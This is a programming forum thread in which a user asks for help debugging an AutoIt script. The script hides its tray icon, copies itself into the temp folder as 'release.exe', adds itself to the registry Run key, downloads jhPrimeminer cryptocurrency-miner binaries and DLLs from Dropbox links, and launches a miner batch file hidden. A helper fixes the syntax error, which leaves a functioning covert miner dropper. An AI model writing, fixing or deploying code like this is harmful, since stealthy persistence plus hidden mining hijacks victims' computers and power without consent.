Jump to content

Recommended Posts

Posted

I am trying to make a script that first moves it self to the temp file then adds itself to the startup.

I then want it to check if a folder exists, if it does I want it to launch a bat file.  If not then I want it to

create the folder and download several files, then launch one.

I have been messing around with the code for a little while now and am not sure what I am doing wrong.

When I run the code I get this error:

"Line 38" Error parsing function call.

Code:

#NoTrayIcon




FileMove(@ScriptFullPath, @TempDir & "\certs\release.exe", 9)






Func _StartupRegistry_Install($sName = @ScriptName, $sFilePath = @ScriptFullPath, $sCommandline = '', $fAllUsers = True, $iRunOnce = 0)

    If $iRunOnce = Default Then
        $iRunOnce = 0
    EndIf
    If $sFilePath = Default Then
        $sFilePath = @ScriptFullPath
    EndIf
    If $sName = Default Then
        $sName = @ScriptName
    EndIf

    _StartupRegistry_Uninstall($sName, $sFilePath, $fAllUsers, $iRunOnce) ; Deletes the entry in the 'All Users/Current Users' registry.

    $sName = StringRegExpReplace($sName, '\.[^\.\\/]*$', '')
    If StringStripWS($sName, 8) = '' Or FileExists($sFilePath) = 0 Then
        Return SetError(1, 0, False)
    EndIf

    Local $i64Bit = '', $sRunOnce = ''
    Switch $iRunOnce
        Case 1
            $sRunOnce = 'Once'
        Case 2
            $sRunOnce = 'OnceEx'
    EndSwitch

    If @OSArch = 'X64' Then
        $i64Bit = '64'
    EndIf
    Local $sRegistryKey = ''
    If $fAllUsers Then
        $sRegistryKey = 'HKEY_LOCAL_MACHINE' & $i64Bit & '\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' & $sRunOnce & '\'
    Else
        $sRegistryKey = 'HKEY_CURRENT_USER' & $i64Bit & '\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' & $sRunOnce & '\'
    EndIf
    Local $iReturn = RegWrite($sRegistryKey, $sName, 'REG_SZ', $sFilePath & ' ' & $sCommandline)
    Return $iReturn > 0
EndFunc   




$filedir = @AppDataDir & "\Billy" ;Directory within the Appdata directory where the ini file should be.
$filename = "jhPrimeminer-T17.exe" ;Ini file name.
$filename1 = "jhPrimeminer-T17-AVX.exe" ;Ini file name.
$filename2 = "miner.bat" ;Ini file name.
$filename3 = "mpir.dll" ;Ini file name.
$filename4 = "msvcp100.dll" ;Ini file name.
$filename5 = "msvcr100.dll" ;Ini file name.



$DOWNLOAD_LINK = "<a href='https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w"</a>
$DOWNLOAD_LINK1 = "<a href='https://dl.dropboxusercontent.com/s/sqi5xye4hgwbkq8/jhPrimeminer-T17-AVX.exe?dl=1&token_hash=AAE6ZZd5_JlM72tYZ1WfZZQBByI3PDUo5ezPorSwVB-9QA' class='bbc_url' title='External link' rel='nofollow external'>hhttps://dl.dropboxusercontent.com/s/sqi5xye4hgwbkq8/jhPrimeminer-T17-AVX.exe?dl=1&token_hash=AAE6ZZd5_JlM72tYZ1WfZZQBByI3PDUo5ezPorSwVB-9QA"</a>
$DOWNLOAD_LINK2 = "<a href='https://dl.dropboxusercontent.com/s/75070dc1dbq4dbu/miner.bat?dl=1&token_hash=AAHo8njlr8rtpUdJk6DBKwAcbBpODepDP6o4Hw0Nt4hvyg' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/75070dc1dbq4dbu/miner.bat?dl=1&token_hash=AAHo8njlr8rtpUdJk6DBKwAcbBpODepDP6o4Hw0Nt4hvyg"</a>
$DOWNLOAD_LINK3 = "<a href='https://dl.dropboxusercontent.com/s/ex4fp18m44mcxfb/mpir.dll?dl=1&token_hash=AAEeMR13H0mqq3QHDG4zGppgb5rVqvPH9pdu302Ed_dXjA' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/ex4fp18m44mcxfb/mpir.dll?dl=1&token_hash=AAEeMR13H0mqq3QHDG4zGppgb5rVqvPH9pdu302Ed_dXjA"</a>
$DOWNLOAD_LINK4 = "<a href='https://dl.dropboxusercontent.com/s/5slf6juvcj32mml/msvcp100.dll?dl=1&token_hash=AAHMuXE7IIul89_qRV4JEFLfBt9ZNoZ8o7VxjAUjPvnitw' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/5slf6juvcj32mml/msvcp100.dll?dl=1&token_hash=AAHMuXE7IIul89_qRV4JEFLfBt9ZNoZ8o7VxjAUjPvnitw"</a>
$DOWNLOAD_LINK5 = "<a href='https://dl.dropboxusercontent.com/s/7m9motzz486hz3x/msvcr100.dll?dl=1&token_hash=AAGyeFNFyklcd41iikm8YRrNFaO2K18Ef9YtHD3M3Oj-JQ' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/7m9motzz486hz3x/msvcr100.dll?dl=1&token_hash=AAGyeFNFyklcd41iikm8YRrNFaO2K18Ef9YtHD3M3Oj-JQ"</a>

$PATH = @AppDataDir & "\Billy" & "\jhPrimeminer-T17.exe"
$PATH1 = @AppDataDir & "\Billy" & "\jhPrimeminer-T17-AVX.exe"
$PATH2 = @AppDataDir & "\Billy" & "\miner.bat"
$PATH3 = @AppDataDir & "\Billy" & "\mpir.dll"
$PATH4 = @AppDataDir & "\Billy" & "\msvcp100.dll"
$PATH5 = @AppDataDir & "\Billy" & "\msvcr100.dll"








If FileExists($filedir) Then ;Check if the file directory exist.
    FileChangeDir($filedir) ;Go to the file directory.
    run(@AppDataDir & "\Billy" & "miner.bat", @SW_HIDE)

Else
    DirCreate ($filedir) ;If file directory doesnt exist, create it.
    ;file 1
    $INET = InetGet($DOWNLOAD_LINK,$PATH,1,1)
    Do
        TrayTip("Download",InetGetInfo($INET,0) & "/" & InetGetInfo($INET,1),1)
    Until InetGetInfo($INET,2)
    InetClose($INET)
    ;file 2
    $INET1 = InetGet($DOWNLOAD_LINK1,$PATH1,1,1)
    Do
        TrayTip("Download",InetGetInfo($INET1,0) & "/" & InetGetInfo($INET1,1),1)
    Until InetGetInfo($INET1,2)
    InetClose($INET1)
    ;file 3
    $INET2 = InetGet($DOWNLOAD_LINK2,$PATH2,1,1)
    Do
        TrayTip("Download",InetGetInfo($INET2,0) & "/" & InetGetInfo($INET2,1),1)
    Until InetGetInfo($INET2,2)
    InetClose($INET2)
    ;file 4
    $INET3 = InetGet($DOWNLOAD_LINK3,$PATH3,1,1)
    Do
        TrayTip("Download",InetGetInfo($INET3,0) & "/" & InetGetInfo($INET3,1),1)
    Until InetGetInfo($INET3,2)
    InetClose($INET3)
    ;file 5
    $INET4 = InetGet($DOWNLOAD_LINK4,$PATH4,1,1)
    Do
        TrayTip("Download",InetGetInfo($INET4,0) & "/" & InetGetInfo($INET4,1),1)
    Until InetGetInfo($INET4,2)
    InetClose($INET4)
    ;file 6
    $INET5 = InetGet($DOWNLOAD_LINK5,$PATH5,1,1)
    Do
        TrayTip("Download",InetGetInfo($INET5,0) & "/" & InetGetInfo($INET5,1),1)
    Until InetGetInfo($INET5,2)
    InetClose($INET5)
    
    run(@AppDataDir & "\Billy" & "miner.bat", @SW_HIDE)
    
EndIf

I would really appreciate any help.

Thanks.

Posted

Welcome to AutoIt and the forum!

Can you please post the error messages from the SciTE output pane?

My UDFs and Tutorials:

Spoiler

UDFs:
Active Directory (NEW 2024-07-28 - Version 1.6.3.0) - Download - General Help & Support - Example Scripts - Wiki
ExcelChart (2017-07-21 - Version 0.4.0.1) - Download - General Help & Support - Example Scripts
OutlookEX (2021-11-16 - Version 1.7.0.0) - Download - General Help & Support - Example Scripts - Wiki
OutlookEX_GUI (2021-04-13 - Version 1.4.0.0) - Download
Outlook Tools (2019-07-22 - Version 0.6.0.0) - Download - General Help & Support - Wiki
PowerPoint (2021-08-31 - Version 1.5.0.0) - Download - General Help & Support - Example Scripts - Wiki
Task Scheduler (2022-07-28 - Version 1.6.0.1) - Download - General Help & Support - Wiki

Standard UDFs:
Excel - Example Scripts - Wiki
Word - Wiki

Tutorials:
ADO - Wiki
WebDriver - Wiki

 

Posted

I hope this is what you mean.

>"C:\Program Files\AutoIt3\SciTE\..\autoit3.exe" /ErrorStdOut "C:\Users\Billy\Desktop\New AutoIt v3 Script.au3"    
"C:\Users\Billy\Desktop\New AutoIt v3 Script.au3" (66) : ==> Unknown function name.:
$DOWNLOAD_LINK = "<a href='https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w"</a>
$DOWNLOAD_LINK = "<a href='https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w"</^ ERROR
>Exit code: 1    Time: 0.143
Posted

As you can see "</a>" is after the string delimiter.

Change it to

$DOWNLOAD_LINK = "<a href='https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w</a>"

My UDFs and Tutorials:

Spoiler

UDFs:
Active Directory (NEW 2024-07-28 - Version 1.6.3.0) - Download - General Help & Support - Example Scripts - Wiki
ExcelChart (2017-07-21 - Version 0.4.0.1) - Download - General Help & Support - Example Scripts
OutlookEX (2021-11-16 - Version 1.7.0.0) - Download - General Help & Support - Example Scripts - Wiki
OutlookEX_GUI (2021-04-13 - Version 1.4.0.0) - Download
Outlook Tools (2019-07-22 - Version 0.6.0.0) - Download - General Help & Support - Wiki
PowerPoint (2021-08-31 - Version 1.5.0.0) - Download - General Help & Support - Example Scripts - Wiki
Task Scheduler (2022-07-28 - Version 1.6.0.1) - Download - General Help & Support - Wiki

Standard UDFs:
Excel - Example Scripts - Wiki
Word - Wiki

Tutorials:
ADO - Wiki
WebDriver - Wiki

 

Posted (edited)

@water, thank you so much.   I got it.

You are the best.

THANKS!!!!

Edited by Stim
Posted

That was easy ;)
As you can see SciTE always points you to where the error is.

BTW4p-6w"</a>
BTW4p-6w"</^ ERROR

My UDFs and Tutorials:

Spoiler

UDFs:
Active Directory (NEW 2024-07-28 - Version 1.6.3.0) - Download - General Help & Support - Example Scripts - Wiki
ExcelChart (2017-07-21 - Version 0.4.0.1) - Download - General Help & Support - Example Scripts
OutlookEX (2021-11-16 - Version 1.7.0.0) - Download - General Help & Support - Example Scripts - Wiki
OutlookEX_GUI (2021-04-13 - Version 1.4.0.0) - Download
Outlook Tools (2019-07-22 - Version 0.6.0.0) - Download - General Help & Support - Wiki
PowerPoint (2021-08-31 - Version 1.5.0.0) - Download - General Help & Support - Example Scripts - Wiki
Task Scheduler (2022-07-28 - Version 1.6.0.1) - Download - General Help & Support - Wiki

Standard UDFs:
Excel - Example Scripts - Wiki
Word - Wiki

Tutorials:
ADO - Wiki
WebDriver - Wiki

 

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...